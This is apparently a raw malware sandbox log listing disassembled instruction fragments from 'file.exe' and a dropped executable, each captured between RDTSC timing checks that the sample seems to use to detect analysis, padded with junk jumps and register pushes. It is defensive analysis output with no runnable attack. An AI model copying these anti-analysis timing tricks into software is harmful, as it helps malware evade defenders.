Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12545CB second address: 12545D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254FAC second address: 1254FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254FB2 second address: 1254FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF3F8BEF6A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258595 second address: 12585B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCAAh 0x00000007 jmp 00007FF3F8FBCCB6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585B9 second address: 12585C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585C1 second address: 12585CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12585CA second address: 12585D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261AA0 second address: 1261AAB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FF3F8FBCCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261AAB second address: 1261AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FF3F8BEF696h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261AB8 second address: 1261ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AA3A second address: 128AA49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FF3F8BEF696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128ABB3 second address: 128ABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128ABB7 second address: 128ABBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128ABBD second address: 128ABC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AD2E second address: 128AD43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AEAD second address: 128AEB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B5BF second address: 128B5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B5C3 second address: 128B5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B894 second address: 128B8AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12911FF second address: 129121A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3F8FBCCB1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129121A second address: 1291224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291224 second address: 1291228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129148A second address: 129148E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129148E second address: 1291497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291517 second address: 1291548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, 7975A19Ch 0x00000011 mov dx, C632h 0x00000015 push 00000004h 0x00000017 mov dx, cx 0x0000001a call 00007FF3F8BEF699h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007FF3F8BEF696h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291548 second address: 129154C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12931FA second address: 12931FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580287 second address: 55802A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF3F8FBCCB4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55802A5 second address: 55802AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55802AB second address: 55802AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55802AF second address: 55802C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 14132871h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8F0B second address: 11A8F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8F0F second address: 11A8F20 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8F20 second address: 11A8F34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558042E second address: 558043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8BEF69Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558043E second address: 558044D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558044D second address: 5580451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580451 second address: 5580457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580457 second address: 55804C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FF3F8BEF69Ch 0x0000000b or eax, 6E2DB838h 0x00000011 jmp 00007FF3F8BEF69Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov eax, 4A5A028Bh 0x00000021 pushfd 0x00000022 jmp 00007FF3F8BEF6A0h 0x00000027 jmp 00007FF3F8BEF6A5h 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 jmp 00007FF3F8BEF69Eh 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55804C4 second address: 55804C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55804C8 second address: 55804CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55804CC second address: 55804D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55804D2 second address: 55804E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8BEF69Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580517 second address: 5580544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2EB38821h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF3F8FBCCB5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580544 second address: 5580589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FF468F9312Fh 0x0000000e push 759227D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [759B0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007FF3F8BEF69Eh 0x00000058 and dword ptr [ebp-04h], 00000000h 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FF3F8BEF6A7h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580589 second address: 5580601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushfd 0x00000007 jmp 00007FF3F8FBCCB0h 0x0000000c and esi, 71055008h 0x00000012 jmp 00007FF3F8FBCCABh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov edx, dword ptr [ebp+0Ch] 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FF3F8FBCCB4h 0x00000025 add esi, 7B897268h 0x0000002b jmp 00007FF3F8FBCCABh 0x00000030 popfd 0x00000031 jmp 00007FF3F8FBCCB8h 0x00000036 popad 0x00000037 mov esi, edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580601 second address: 5580605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580605 second address: 5580609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580609 second address: 558060F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558060F second address: 5580665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF3F8FBCCB2h 0x00000008 pop eax 0x00000009 jmp 00007FF3F8FBCCABh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov al, byte ptr [edx] 0x00000013 jmp 00007FF3F8FBCCB6h 0x00000018 inc edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF3F8FBCCB7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580665 second address: 5580676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580676 second address: 558067A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558067A second address: 5580680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580680 second address: 5580665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FF3F8FBCC3Eh 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007FF3F8FBCCB6h 0x00000016 inc edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF3F8FBCCB7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806DE second address: 55806EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806EC second address: 55806FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8FBCCAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806FE second address: 5580702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580702 second address: 5580744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b pushad 0x0000000c push edi 0x0000000d mov ecx, 4A506F5Fh 0x00000012 pop eax 0x00000013 mov si, dx 0x00000016 popad 0x00000017 inc edi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF3F8FBCCADh 0x0000001f sbb ecx, 76CDA786h 0x00000025 jmp 00007FF3F8FBCCB1h 0x0000002a popfd 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580744 second address: 55807D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 test al, al 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FF3F8BEF6A6h 0x0000000f jmp 00007FF3F8BEF6A5h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FF3F8BEF6A0h 0x0000001b or ecx, 5EA7E7B8h 0x00000021 jmp 00007FF3F8BEF69Bh 0x00000026 popfd 0x00000027 popad 0x00000028 jne 00007FF468F87977h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FF3F8BEF69Bh 0x00000037 sub si, 417Eh 0x0000003c jmp 00007FF3F8BEF6A9h 0x00000041 popfd 0x00000042 mov bx, cx 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55807D6 second address: 55807DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55807DC second address: 5580842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007FF3F8BEF6A6h 0x00000012 shr ecx, 02h 0x00000015 pushad 0x00000016 jmp 00007FF3F8BEF69Eh 0x0000001b mov si, 61A1h 0x0000001f popad 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 rep movsd 0x00000026 rep movsd 0x00000028 rep movsd 0x0000002a jmp 00007FF3F8BEF69Ch 0x0000002f mov ecx, edx 0x00000031 pushad 0x00000032 mov cx, D14Dh 0x00000036 movzx esi, dx 0x00000039 popad 0x0000003a and ecx, 03h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580842 second address: 5580850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580850 second address: 5580856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580856 second address: 558085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558085A second address: 5580875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edx, ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580875 second address: 558087B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558087B second address: 558087F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558087F second address: 55808A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF3F8FBCCADh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808A8 second address: 558096C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, ebx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FF3F8BEF6A2h 0x00000014 adc ax, FAB8h 0x00000019 jmp 00007FF3F8BEF69Bh 0x0000001e popfd 0x0000001f call 00007FF3F8BEF6A8h 0x00000024 mov ax, 1B71h 0x00000028 pop ecx 0x00000029 popad 0x0000002a mov ecx, dword ptr [ebp-10h] 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FF3F8BEF6A3h 0x00000034 xor si, C1DEh 0x00000039 jmp 00007FF3F8BEF6A9h 0x0000003e popfd 0x0000003f pushad 0x00000040 mov dx, cx 0x00000043 pushad 0x00000044 popad 0x00000045 popad 0x00000046 popad 0x00000047 mov dword ptr fs:[00000000h], ecx 0x0000004e jmp 00007FF3F8BEF6A6h 0x00000053 pop ecx 0x00000054 jmp 00007FF3F8BEF6A0h 0x00000059 pop edi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558096C second address: 5580970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580970 second address: 5580974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580974 second address: 558097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558097A second address: 55809DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e popad 0x0000000f pop ebx 0x00000010 jmp 00007FF3F8BEF69Fh 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF3F8BEF69Bh 0x0000001f xor esi, 5121F40Eh 0x00000025 jmp 00007FF3F8BEF6A9h 0x0000002a popfd 0x0000002b mov eax, 01E12517h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55809DE second address: 5580517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007FF3F8FBCCA5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 jmp 00007FF3F8FBCCB5h 0x00000026 push 5B2A9409h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF3F8FBCCAAh 0x00000032 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2060B7 second address: 2060E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3F8BEF69Eh 0x00000012 jmp 00007FF3F8BEF6A5h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 206546 second address: 20654A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 20654A second address: 206550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2066CF second address: 2066D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2066D3 second address: 2066D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2066D9 second address: 2066DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2083BD second address: 2083CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF3F8BEF69Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2083CB second address: 208408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FF3F8FBCCABh 0x0000000b nop 0x0000000c jng 00007FF3F8FBCCA6h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D3647h], ebx 0x0000001a push 3B788FA4h 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 jmp 00007FF3F8FBCCB4h 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 208408 second address: 20840F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
